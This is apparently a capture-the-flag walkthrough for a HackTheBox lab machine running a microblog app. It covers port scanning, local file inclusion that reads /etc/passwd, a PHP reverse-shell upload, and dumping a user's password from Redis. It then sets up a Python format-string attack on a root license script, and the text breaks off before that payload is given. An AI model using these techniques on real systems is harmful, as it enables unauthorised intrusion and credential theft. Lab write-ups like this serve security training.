PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c397ce837d255d5dedb545cdf20b054f (RSA)
| 256 b3aa30352b997d20feb6758840a517c1 (ECDSA)
|_ 256 fab37d6e1abcd14b68edd6e8976727d7 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0
3000/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Leads us to app.microblog.htb. also add this to /etc/hosts
2. Achieving Local File Inclusion
Make a blog
Make a h1 or txt
Capture the request in BurpSuite then we can change the ID parameter in the request to achieve lfi
/etc/passwd
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinsystemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologinsystemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologincooper:x:1000:1000::/home/cooper:/bin/bashredis:x:103:33::/var/lib/redis:/usr/sbin/nologingit:x:104:111:Git Version Control,,,:/home/git:/bin/bashmessagebus:x:105:112::/nonexistent:/usr/sbin/nologinsshd:x:106:65534::/run/sshd:/usr/sbin/nologin_laurel:x:997:997::/var/log/laurel:/bin/false
/etc/hosts
127.0.0.1 localhost microbucket.htb css.microbucket.htb js.microbucket.htb
127.0.1.1 format
# The following lines are desirable for IPv6 capable hosts::1 localhost ip6-localhost ip6-loopbackff02::1 ip6-allnodesff02::2 ip6-allrouters
3. User.txt
3.1. Becoming pro
We can see in the sourcecode found at http://microblog.htb:3000/cooper/microblog/src/branch/main/microblog/sunny/edit/index.php that there is calls to system, definitely an opportunity here to achieve a reverse shell within the $blogName parameter, we just need to be Pro.
Furthermore, from the sourcecode above we can indentify that our uploads will be at /var/www/microblog/asdf/uploads so we can upload a php reverse shell, in the same way we achieved LFI earlier.
So, we can make a h1 or a txt on our blog and edit the parameters of the POST request to be
and visit http://asdf.microblog.htb/uploads/revshell.php while our netcat listener is running to catch a reverse shell.
It's also interesting to note as well from the source code that we can see that files that are written to the /content/ folder are wrapped in <div></div> tags, meaning that we are not able to simply upload our reverse shell to /content. Furthermore we can see that our /uploads directory is created when we are pro, in the provisionProUser function as seen in the codeblock above
3.2. enumerating the database
With our reverse shell we can connect to the redis database using redis-cli -s /run/redis/redis.sock
Then, KEYS * to reveal the database keys, more specifically the cooper.dooper key Then, HGETALL cooper.dooper to dump the database, including the password for the user cooper
now we can ssh into the machine with the credentials cooper:zooperdoopercooper
user.txt can be found at /home/cooper
4. root.txt
sudo -l reveals that we can run /usr/bin/license as root
#!/usr/bin/python3import base64from cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import hashesfrom cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMACfrom cryptography.fernet import Fernetimport randomimport stringfrom datetime import dateimport redisimport argparseimport osimport sysclassLicense():def__init__(self): chars = string.ascii_letters + string.digits + string.punctuation self.license =''.join(random.choice(chars) for i inrange(40)) self.created = date.today()if os.geteuid()!=0:print("")print("Microblog license key manager can only be run as root")print("") sys.exit()parser = argparse.ArgumentParser(description='Microblog license key manager')group = parser.add_mutually_exclusive_group(required=True)group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')args = parser.parse_args()r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')secret = [line.strip()for line inopen("/root/license/secret")][0]secret_encoded = secret.encode()salt =b'microblogsalt123'kdf =PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))f =Fernet(encryption_key)l =License()#provisionif(args.provision): user_profile = r.hgetall(args.provision)ifnot user_profile:print("")print("User does not exist. Please provide valid username.")print("") sys.exit() existing_keys =open("/root/license/keys", "r") all_keys = existing_keys.readlines()for user_key in all_keys:if(user_key.split(":")[0] == args.provision):print("")print("License key has already been provisioned for this user")print("") sys.exit() prefix ="microblog" username = r.hget(args.provision, "username").decode() firstlast = r.hget(args.provision, "first-name").decode()+ r.hget(args.provision, "last-name").decode() license_key = (prefix + username +"{license.license}"+ firstlast).format(license=l)print("")print("Plaintext license key:")print("------------------------------------------------------")print(license_key)print("") license_key_encoded = license_key.encode() license_key_encrypted = f.encrypt(license_key_encoded)print("Encrypted license key (distribute to customer):")print("------------------------------------------------------")print(license_key_encrypted.decode())print("")withopen("/root/license/keys", "a")as license_keys_file: license_keys_file.write(args.provision +":"+ license_key_encrypted.decode() +"\n")#deprovisionif(args.deprovision):print("")print("License key deprovisioning coming soon")print("") sys.exit()#checkif(args.check):print("")try: license_key_decrypted = f.decrypt(args.check.encode())print("License key valid! Decrypted value:")print("------------------------------------------------------")print(license_key_decrypted.decode())except:print("License key invalid")print("")
we can see that in the source code that there is a variable secret being loaded in from the file /root/license/secret so we can take advantage of this and use a format string to extract it.
Again, connecting to the redis database using redis-cli -s /run/redis/redis.sock we can then run the command